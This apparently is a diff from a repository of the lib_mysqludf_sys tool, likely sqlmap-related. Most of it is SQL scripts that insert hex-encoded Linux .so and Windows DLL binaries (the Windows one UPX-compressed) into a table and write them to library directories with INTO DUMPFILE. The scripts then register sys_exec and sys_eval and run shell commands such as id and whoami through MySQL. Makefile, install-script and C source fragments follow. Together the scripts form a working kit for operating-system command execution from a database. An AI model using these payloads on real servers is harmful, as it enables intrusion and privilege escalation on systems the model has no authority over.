UPDATE udftest SET data=CONCAT(data,0x13000000080000001600000000000000feffff6fb4060000ffffff6f01000000f0ffff6f6a060000faffff6f0200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000181f00000000000000000000f20700000208000008200000004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c2e64796e002e72656c2e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e74000000000000000000);
UPDATE udftest SET data=CONCAT(data,0x000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000d4000000d4000000dc000000030000000000000004000000040000000b000000f6ffff6f02000000b0010000b0010000b400000003000000000000000400000004000000150000000b00000002000000640200006402000040020000040000000100000004000000100000001d0000000300000002000000a4040000a4040000c50100000000000000000000010000000000000025000000ffffff6f020000006a0600006a060000480000000300000000000000020000000200000032000000feffff6f02000000b4060000b40600005000000004000000010000000400000000000000410000000900000002000000040700000407000098000000030000000000000004000000080000004a00000009000000020000009c0700009c07000010000000030000000a0000000400000008000000530000000100000006000000ac070000ac07000030000000000000000000000004000000000000004e0000000100000006000000dc070000dc0700003000000000000000000000000400000004000000590000000100000006000000100800001008000088060000000000000000000010000000000000005f0000000100000006000000980e0000980e00001c000000);
UPDATE udftest SET data=CONCAT(data,0x00000000000000000400000000000000650000000100000032000000b40e0000b40e000002000000000000000000000001000000010000006d0000000100000002000000b80e0000b80e00000400000000000000000000000400000000000000770000000100000003000000041f0000040f000008000000000000000000000004000000000000007e00000001000000030000000c1f00000c0f00000800000000000000000000000400000000000000850000000100000003000000141f0000140f000004000000000000000000000004000000000000008a0000000600000003000000181f0000180f0000d000000004000000000000000400000008000000930000000100000003000000e81f0000e80f00000c00000000000000000000000400000004000000980000000100000003000000f41f0000f40f00001400000000000000000000000400000004000000a1000000010000000300000008200000081000000400000000000000000000000400000000000000a700000008000000030000000c2000000c1000000800000000000000000000000400000000000000ac0000000100000000000000000000000c100000b90000000000000000000000010000000000000001000000030000000000000000000000c5100000b500000000000000000000000100000000000000);
-- Export the hexadecimal encoded UDF to a binary file on the file system
--
-- On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0:
--
-- From MySQL 5.1 and 6.0 official documentation:
--
-- shared_library_name is the basename of the shared object file
-- that contains the code that implements the function. The file
-- must be located in the plugin directory. This directory is given
-- by the value of the plugin_dir system variable.
--
-- Note that /TODO/plugin DOES NOT
-- exist by default so it is NOT possible to save the SO in the proper
-- folder where MySQL server looks for SOs.
--
-- References:
-- http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
-- http://dev.mysql.com/doc/refman/6.0/en/create-function-udf.html
--
-- The SO can be only in /TODO
-- SELECT data FROM udftest INTO DUMPFILE '/TODO/lib_mysqludf_sys.so'; -- On MySQL 5.1 >= 5.1.19
-- SELECT data FROM udftest INTO DUMPFILE '/TODO/lib_mysqludf_sys.so'; -- On MySQL 6.0
--
-- On MySQL 4.1 < 4.1.25, MySQL 5.0 < 5.0.67 and MySQL 5.1 < 5.1.19:
--
-- From MySQL 4.1 and 5.0 official documentation:
--
-- shared_library_name is the basename of the shared object file
-- that contains the code that implements the function. As of MySQL
-- M.m.m, the file must be located in the plugin directory. This
-- directory is given by the value of the plugin_dir system variable.
-- If the value of plugin_dir is empty, the behavior that is used
-- before M.m.m applies: The file must be located in a directory
-- that is searched by your system's dynamic linker.
--
-- References:
-- http://dev.mysql.com/doc/refman/4.1/en/create-function-udf.html
-- http://dev.mysql.com/doc/refman/5.0/en/create-function-udf.html
--
-- The SO can be in either /lib, /usr/lib or one of the paths specified in
-- /etc/ld.so.conf file, none of these paths are writable by mysql user by
-- default (tested on MySQL 5.0.67 with NO plugin_dir set in my.cnf
-- configuration file, which is the default setting)
-- SELECT data FROM udftest INTO DUMPFILE '/usr/lib/lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql. On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
SELECT data FROM udftest INTO DUMPFILE '/usr/lib/lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql. On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
-- SELECT data FROM udftest INTO DUMPFILE '/usr/lib/lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql. On MySQL 5.1 < 5.1.19 with NO plugin_dir set in my.ini configuration file
--
-- Notes:
-- If the library file already exists, the user mysql does not have access
-- to overwrite it
-- The following enumerates the MySQL data directory
-- SELECT @@datadir
-- The followings will save into /var/lib/mysql/. It is not a valid PATH
-- where MySQL looks for SO
-- SELECT data FROM udftest INTO DUMPFILE './lib_mysqludf_sys.so';
-- The following will save into /var/lib/mysql/mysql where 'mysql' is the
-- database name where it is connected. It is not a valid PATH where MySQL
-- looks for SO
-- SELECT data FROM udftest INTO DUMPFILE 'lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql
-- The following would save into / (Permission denied)
-- SELECT data FROM udftest INTO DUMPFILE '/lib_mysqludf_sys.so';
-- Create two functions from the binary UDF file
-- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0
-- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0
DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0
DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
-- Test the two functions
SELECT sys_exec('echo test > /tmp/lib_mysqludf_sys.txt'); -- -rw-rw---- 1 mysql mysql
SELECT sys_eval('cat /tmp/lib_mysqludf_sys.txt ; id');
-- Cleanup the file system and the database
SELECT sys_exec('rm -f /tmp/lib_mysqludf_sys.*');
DROP TABLE IF EXISTS udftest;
-- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0
-- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0
DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0
DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0

View File

@ -0,0 +1,128 @@
-- Notes:
--
-- The DLL compiled using MySQL 5.1.30 C libraries works also on MySQL
-- 5.0.67 and MySQL 4.1.22
--
-- DLL compiled using MySQL 5.1.30 C libraries
-- lib_mysqludf_sys.dll: 9216 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit)
-- lib_mysqludf_sys.dll: 6656 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit, UPX compressed)
--
-- Little hack to compress the dynamic-linked library:
-- * Read instructions on http://rpbouman.blogspot.com/2007/09/creating-mysql-udfs-with-microsoft.html
-- * Remember to compile it under Visual C++ 2008 with the
-- 'Configuration' set as 'Release'
-- * Use upx (http://upx.sourceforge.net) over the DLL:
-- * upx -9 library.dll -o library_upx.dll
-- Create a table with one field data-type text
DROP TABLE IF EXISTS udftest;
CREATE TABLE udftest(data blob);
-- Insert the hexadecimal encoded UDF in the table
--
-- DLL compiled using MySQL 5.1.30 C libraries
INSERT INTO udftest(data) VALUE (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000ad137127e9721f74e9721f74e9721f74e00a8c74eb721f74e00a8a74e8721f74e00a9c74e7721f74e00a9b74eb721f742a7d4274ea721f74e9721e74c0721f74e00a9674e8721f74e00a8d74e8721f74e00a8e74e8721f7452696368e9721f7400000000000000000000000000000000504500004c010300ce2e8e490000000000000000e00002210b010900001000000010000000600000507c0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020040010000100000100000000010000010000000000000100000007c830000b8010000b4820000c800000000800000b402000000000000000000000000000000000000348500001000000000000000000000000000000000000000000000000000000000000000000000001c7e00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000);
UPDATE udftest SET data=CONCAT(data,0x000000000000000000000000800000e0555058310000000000100000007000000010000000040000000000000000000000000000400000e02e7273726300000000100000008000000006000000140000000000000000000000000000400000c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e303300555058210d090209285e83bd2629a7f017550000480c000000240000260000eb);
UPDATE udftest SET data=CONCAT(data,0xffcbffff8b442408833800741956578b7c2414b90c00be000010e8f3a566a56edd92ff5fb0015ec332c0c3cc2f0c2ab907fbeddbcf26111c8bf8288b4c24182ca45fc7011e16f7cf0eac5e2ecc5f0175128b4004676430f76e750a2c04c6010155710a1db2d8f3113ca4723f8b484df7efbe021152ff15968083c40485c075084514c365dffeff8bc8568d71018a114184d275f98b54142bce890a4019bb6dba7f4c39026b74186d07b0df4b06688b419974158db6ae9d9d88f3fdc7b61100230c5d37f6df85048b108d44110250899859108d893c19a16b1990173c0611b05b4a68935fe70f464085ed767732740a890aff254aa0c31f6fdb42fb53568b745b1d78734602088b46f6eddb2fd18d5c39010a525157e8300c108b5617d6de65fb02c60407974e5104219d1c76fb36c95342d2c4185357220300ad6cae843f005f5e995bc34f9099c309830c20af0b03a8c35dc242dc0081ec10305bd7f85ba102200033c489842c0d8b0620dcdc373f8c2424538b9c241c07556a01db2038360214893d515397f0fcc7de6dd76863cc5033ff14948bd8538d4c24287063edae3251895c421688debe712b6c435355904c8d5001084084c9cb63bf5d2bc22e8d2c3b55563b848bf054dde6842f528d043eb48c24511334db70d8634f528bfd4d20c4b38b5ebf6d4678105d53189c803eb3c67436c6443b04fbee3eff0063eb038d);
UPDATE udftest SET data=CONCAT(data,0x490068fc6c0d3f777b5f8901205e5bd8e633cc7e0375bceee17481c401c31418f4935f0f0fecad221bc602011e3b0d2275c60cfff602f3c3e90807318bff5668805fb778ffdd7e56c07c5959a3062358045485f67505dbb07be133c040748326004908ff270929098e36d6fde8c70424063b0b5923d2efddbffdff558bec51510a39450c750e39056b107e3cff7337deb51bb37d0cb50910488b096957897c6cdd770a23480f85d47d641718ec797677db6d5135202c893d50bb1e50eb184af0c1febba705f43bc7741768e803a8306a0057aedbdeb02ed63ae7eb07c72c013ca12feddeddf04c6a025e9d096a1f920aa6eb3caa10bcae7deffd04b4c7051f281aa0e027fdfbbeb3075cf120b004ac1b9a59893573a576e32b085939b2f26973dfeebdfb34393d155c741c68062809dc430dd8f65ae1ff751034252316fff1acb919be54ee01dc0801a1db76367b6378d665fc00dfdb0fd4ac3dc944fc83f80266d26dec1b1b595bffa0584b7031fb0e376daf45d70f8487c7195413a5bbb6401e8b141810897d563fb6f5edef043bc87251833f6cf36a74390774e92d3cdbdaff372620f8108907b9f8b8bd599b5615441b474df86bdf1adf900c394d1003d00874b4890902886db76d0c1a0860eba7f60c3d881163564d442e38200bdb5758064c32fc3f5079811d8e4390c9c2e96a1068cd7de37712d8d0d88bd2f28b5d08);
UPDATE udftest SET data=CONCAT(data,0x1c548597ddede433c95cfc897d2008fc3bf15abfdb5a8c393a4417e4f906ea3bf07405db16defd83fe02752ea152dc3bc1749e565fd03b7066e1865ee4000393113bd983fbf1d2141680120ab22735bb61ebfe642464205750135e436cb60e002f52d2061137ecafd153f76a0375434f34871df66c032168742e2c257febe3ad81851b71ec3409aae050516468854be5ac1065e8f62fb65ddb70fad2feff001907032ae4a4ae3dee070b1dc396ec16ff3bf07885d3246a1b5419de5da07d54550c0d05f8595d38b4a1dc8a22e928035f2120e6e6e6cd43051c891518891d14893569b6efe610893d0c668c1838060d2c666996661d0805042558fbee96002d7ffc9c8f14309556ed9f3fdb240704288d4508348b85e0fca05d3b1b63aa7095011c1920c6d8d6b12413180958c0091cb32c9fbb6b608985d8320a04dc57e01bc3031834687edf8f7d9af1ec596af75010e00a20833dd83bac7d2000f923685b1b7c4f9fc0244928c9c380401ef292223b2e5f6a144a13001531e9b190aaf8a29cc6e107bf7359eb676a08a904598fedd61d921b27355934e0f5f31d6e85bf03e4507f4b7c8cad6d5f506efe1cdc142cd6e2c4582a5b09e01b14f46393e525db08dfdc6c0bfe73130ab9d94e1e43f7d81bc0fa36edde0359485d1656b807c8be0457e946c75f503bc6730f8b0753025083c7b3f21c567afe72f13025d0d0f68dd8);
UPDATE udftest SET data=CONCAT(data,0x14cc632f08b84d5a287f57bac466b374045262413c03c18138501bfcfb974575ef33d2b90b011c48180f94b0c29a6209895d7f3fd748b65b81df31c80fb74114a20571063357c5c6d20de908180b76de7db5ffffdf8a0c3bf972098b580803d93bfb720a4283c0283bd672e86a1c0ed933d94e4f6afe9d17705c30d00635640cfc5083c3ad31ccec0823316033c56a7c86d277f064a31a892a46096877843e2c49f0d2094c7574559734cb645f2d1350198c083b41b8f05b2d24c1e81ff709e00183bbedd40a034f170059948be5ebd84e6a969701ca3da3c0fab216ec14972fbb3191b111bacc1e540540fcb8a491444ca312aa10dc9d5c87b1095f14c3a45cb4c7acfbef5400d75cb6d9968e6c038d2be0fafcc11a68cef13ca8fc8a039b0403710dc395707018679651481473e2e3ddcdd86903786851d70ab142efe19c56a30e68f885225b7cf892bf4ee640bb25eea0397866760d85c3255aa39f0a358e04eb60ca78116bed935d388b7598920bae0c32b640f007080c9dfed66e672710b4f4330c113bf77507be4fe0b768ef59eb0b85f30a95c1e0100bf0a1f4b147c200f7d607045e5f5bb43f1919191b5005585c60811d1919646ca4000004c84305038700feff50a1172f4e6f20617267756d656e7473ddffffdf096c6c6f77656420287564663a206c69625f6d7973716c0d5f3f32f7b773085f696e666f293918);
UPDATE udftest SET data=CONCAT(data,0x20766572777fdbfe73696f6e20302e01331f45787065637447657861eddb6f6f076c79201a65207374723f672074791b806d6d6b7572617121722bb065013b7477911f3f1f30f7968672206e4148436f756cdbb6636f246e6f74c463611320186d27a204766e79af660048b5ffffe66e201712c0015253445360a91de01b43b243bdf182720ea1bdf958d103c502633a5c4476476e6efb6edb8a539674b0735c41646d0769bed6fe7f6b938e2e57324b335354454e5550444106336d7bfbf665736b16705c7368c9655c762675be23a1b9ff5f6370705f70726f6af83e6ccb3e65ff5c52656c65617365182e706462c97c2716c8351bc707d0674d259b0ff50707069d92c3bad303e727cc08e3e84ed8810fd81f0a6b037f56a82090209e2b1210008d4516c1beb119bf44ff003400301855ff01162100e9b03c53505c100103c0bf00c7456e7669726f6edbbb2fdb7f5661726961626c6541184743757272145072ecf640fe6f636573734964546805616413d61a001f5469636ba1150dbd01d0fe51756572795003c36d616ef6de5aac37160e184469735937ffcbdf7e4c6962726a7943616c6c73497344656275676765db63ae9572685c96556e684064626f6f6f3164457846707469a146696c4adb52b6c219b4125417c9da0640a0611e11b65bdbbe49906c0c6b409d6d7087656bcd35e747517f77555122b6bb65091b);
UPDATE udftest SET data=CONCAT(data,0x5c537973186d0bafbbd0ee2b41737365094c69ddeef634405f686974396d5f2e5fdffedaf6616d73670878110b646a753a5f666469fbb0f6bb760d5f4370705863b9b65f63721b05ec076164035f686f6f6b4bb800b6f62f636a835f1c75017c01a55f1d735ec16dce0a1f0a6c2164ad58b0adf02a17096e75131346982c0f652f5f3dd65cdbda723456fe6d1c187b0af67db1b7035f706f52296e1064687b2f80ef756c5e6d75a61bdcd696252cb3066ed633b8ed19d82508661167efbd83db5a9ce4790835c7b73773ad32c06e4d0fd76f737bcd950d75667216232e00ffffff1f19274b254920211c2f63183427310c0917251217136517090705160cbffdffff1e080a0b160918181505061b050c10060717062105110f061421110b93efffdb082b2205070d111d0d18532d4838060007d9fead950848330a090b0c0510051616f76fff760e0b34150b18160d3d0542b605121e14066932c7dae67f110c0e1d4d0517230d0c24082400f0a2410be2ff042804f0280104e008041cca0fab7f43d64c010500ce2e8e4938e000642160f902210b01090e6612f6bdc972121710090b021ed27cb3c905070360045bf6deef32f61e40012a0207069fb9dc062703b7013c230f40e7a6cc6c4fb000500227ec40565dc0771cd9d0214207926e59002fac2e746c36d8e66578741a0c900eb74260ddd287602e72647661ab08fb6b);
UPDATE udftest SET data=CONCAT(data,0x0e5bc20a1302402e2649d374dffe032730021c0bd6b84dc04f737235ebb0d10860df731e4f4dc920cdcd5e4f980150223e72fb4d421b242412a052445300000000000000000900ff0000000000000000807c2408010f85b901000060be007000108dbe00a0ffff5783cdffeb0d9090908a064688074701db75078b1e83eefc11db72edb80100000001db75078b1e83eefc11db11c001db73ef75098b1e83eefc11db73e431c983e803720dc1e0088a064683f0ff747489c501db75078b1e83eefc11db11c901db75078b1e83eefc11db11c975204101db75078b1e83eefc11db11c901db73ef75098b1e83eefc11db73e483c10281fd00f3ffff83d1018d142f83fdfc760f8a02428807474975f7e963ffffff908b0283c204890783c70483e90477f101cfe94cffffff5e89f7b92a0000008a07472ce83c0177f7803f0075f28b078a5f0466c1e808c1c01086c429f880ebe801f0890783c70588d8e2d98dbe005000008b0709c0743c8b5f048d8430b472000001f35083c708ff96f0720000958a074708c074dc89f95748f2ae55ff96f472000009c07407890383c304ebe16131c0c20c0083c7048d5efc31c08a074709c074223cef771101c38b0386c4c1c01086c401f08903ebe2240fc1e010668b0783c702ebe28baef87200008dbe00f0ffffbb0010000050546a045357ffd58d870f02000080207f8060287f585054);
UPDATE udftest SET data=CONCAT(data,0x505357ffd558618d4424806a0039c475fa83ec80e9f998ffff00000048000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000300010c02200100100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000);
UPDATE udftest SET data=CONCAT(data,0x0000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005c80000056020000e404000000000000584000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c7472757374496e666f20786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e0d0a202020203c73656375726974793e0d0a2020202020203c72657175657374656450726976696c656765733e0d0a20202020202020203c726571756573746564457865637574696f6e4c6576656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c7365223e3c2f726571756573746564457865637574696f6e4c6576656c3e0d0a2020202020203c2f72657175657374656450726976696c656765733e0d0a202020203c2f73656375726974793e0d0a20203c2f7472757374496e666f3e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d);
UPDATE udftest SET data=CONCAT(data,0x6963726f736f66742e564339302e435254222076657273696f6e3d22392e302e32313032322e38222070726f636573736f724172636869746563747572653d2278383622207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e504100000000000000000000000010830000f08200000000000000000000000000001d83000008830000000000000000000000000000000000000000000028830000368300004683000056830000648300000000000072830000000000004b45524e454c33322e444c4c004d5356435239302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c46726565000000667265650000000000000000ca2e8e49000000003a840000010000000f0000000f000000a4830000e08300001c840000301000004012000000100000501200004012000010120000f01100004012000010120000a010000040120000601000009011000070110000e01000004f84000065840000828400009d840000a6840000b6840000c4840000cd840000);
UPDATE udftest SET data=CONCAT(data,0xdd840000eb840000f3840000028500000f850000178500002685000000000100020003000400050006000700080009000a000b000c000d000e006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e6974000000700000100000005d3c583e5c3e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000);
-- Export the hexadecimal encoded UDF to a binary file on the file system
--
-- On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0:
--
-- From MySQL 5.1 and 6.0 official documentation:
--
-- shared_library_name is the basename of the shared object file
-- that contains the code that implements the function. The file
-- must be located in the plugin directory. This directory is given
-- by the value of the plugin_dir system variable.
--
-- The DLL must be in can be in C:\Program Files\MySQL\MySQL Server M.m\lib\plugin
--
-- Note that C:\Program Files\MySQL\MySQL Server M.m\lib\plugin DOES NOT
-- exist by default so it is NOT possible to save the DLL in the proper
-- folder where MySQL server looks for DLLs.
--
-- References:
-- http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
-- http://dev.mysql.com/doc/refman/6.0/en/create-function-udf.html
--
-- The DLL can be only in C:\Program Files\MySQL\MySQL Server M.n\lib\plugin
-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/lib_mysqludf_sys.dll'; -- On MySQL 5.1 >= 5.1.19
-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 6.0/lib/plugin/lib_mysqludf_sys.dll'; -- On MySQL 6.0
--
-- On MySQL 4.1 < 4.1.25, MySQL 5.0 < 5.0.67 and MySQL 5.1 < 5.1.19:
--
-- From MySQL 4.1 and 5.0 official documentation:
--
-- shared_library_name is the basename of the shared object file
-- that contains the code that implements the function. As of MySQL
-- M.m.m, the file must be located in the plugin directory. This
-- directory is given by the value of the plugin_dir system variable.
-- If the value of plugin_dir is empty, the behavior that is used
-- before M.m.m applies: The file must be located in a directory
-- that is searched by your system's dynamic linker.
--
-- References:
-- http://dev.mysql.com/doc/refman/4.1/en/create-function-udf.html
-- http://dev.mysql.com/doc/refman/5.0/en/create-function-udf.html
--
-- The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
-- C:\WINDOWS\system32, @@basedir\bin or @@datadir (tested on MySQL 4.1.22
-- and MySQL 5.0.67 with NO plugin_dir set in my.ini configuration file,
-- which is the default setting)
-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 4.1/data/lib_mysqludf_sys.dll'; -- On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.0/data/lib_mysqludf_sys.dll'; -- On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
-- SELECT data FROM udftest INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.1/data/lib_mysqludf_sys.dll'; -- On MySQL 5.1 < 5.1.19 with NO plugin_dir set in my.ini configuration file
--
-- Notes:
-- If the library file already exists, the user SYSTEM does not have access
-- to overwrite it
-- The following enumerates the MySQL data directory
-- SELECT @@datadir
-- The followings will save into @@datadir. It is a valid PATH where MySQL
-- looks for DLL
SELECT data FROM udftest INTO DUMPFILE './lib_mysqludf_sys.dll';
-- The followings will save into @@datadir\mysql where 'mysql' is the
-- database name where it is connected. It is not a valid PATH where MySQL
-- looks for DLL
-- SELECT data FROM udftest INTO DUMPFILE 'lib_mysqludf_sys.dll';
-- SELECT data FROM udftest INTO DUMPFILE '\lib_mysqludf_sys.dll';
-- The following will save into C:\. It is not a valid PATH where MySQL
-- looks for DLL
-- SELECT data FROM udftest INTO DUMPFILE '/lib_mysqludf_sys.dll';
-- Create two functions from the binary UDF file
-- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0
-- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0
DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0
DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';
-- Test the two functions
SELECT sys_exec('echo test > %TEMP%/lib_mysqludf_sys.txt'); -- %TEMP% path is C:\WINDOWS\Temp
SELECT sys_eval('echo %TEMP% && whoami');
-- Cleanup the file system and the database
SELECT sys_exec('del %TEMP%/lib_mysqludf_sys.*');
DROP TABLE IF EXISTS udftest;
-- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0
-- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0
DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0
DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0

View File

@ -1,4 +0,0 @@
LIBDIR=/usr/lib
install:
gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o $(LIBDIR)/lib_mysqludf_sys.so

View File

@ -0,0 +1,6 @@
LIBDIR=/usr/lib
install:
gcc -Wall -I/usr/include/mysql -O1 -shared src/lib_mysqludf_sys.c -o so/lib_mysqludf_sys.so
strip -sx so/lib_mysqludf_sys.so
cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so

View File

@ -19,11 +19,15 @@
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
# Adapt the following settings to your environment
PORT="3306"
USER="root"
echo "Compiling the MySQL UDF"
make
if test $? -ne 0; then
echo "ERROR: You need libmysqlclient development software installed "
echo "ERROR: You need libmysqlclient development software installed"
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
echo "apt-get install libmysqlclient15-dev"
exit 1
@ -33,7 +37,7 @@ fi
echo -e "\nPlease provide your MySQL root password"
mysql -u root -p mysql < lib_mysqludf_sys.sql
mysql -u ${USER} -P ${PORT} -p mysql < lib_mysqludf_sys.sql
if test $? -ne 0; then
echo "ERROR: unable to install the UDF"

View File

@ -415,7 +415,7 @@ char* sys_eval(
if (!(*result) || result == NULL) {
*is_null = 1;
} else {
result[outlen] = 0x00;
result[outlen-1] = 0x00;
*length = strlen(result);
}

View File

@ -0,0 +1,33 @@
/*
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2007 Roland Bouman
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
web: http://www.mysqludf.org/
email: roland.bouman@gmail.com, bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
DROP FUNCTION IF EXISTS sys_get;
DROP FUNCTION IF EXISTS sys_set;
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';

View File

@ -0,0 +1,426 @@
/*
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2007 Roland Bouman
Copyright (C) 2008-2009 Roland Bouman and Bernardo Damele A. G.
web: http://www.mysqludf.org/
email: mysqludfs@gmail.com, bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
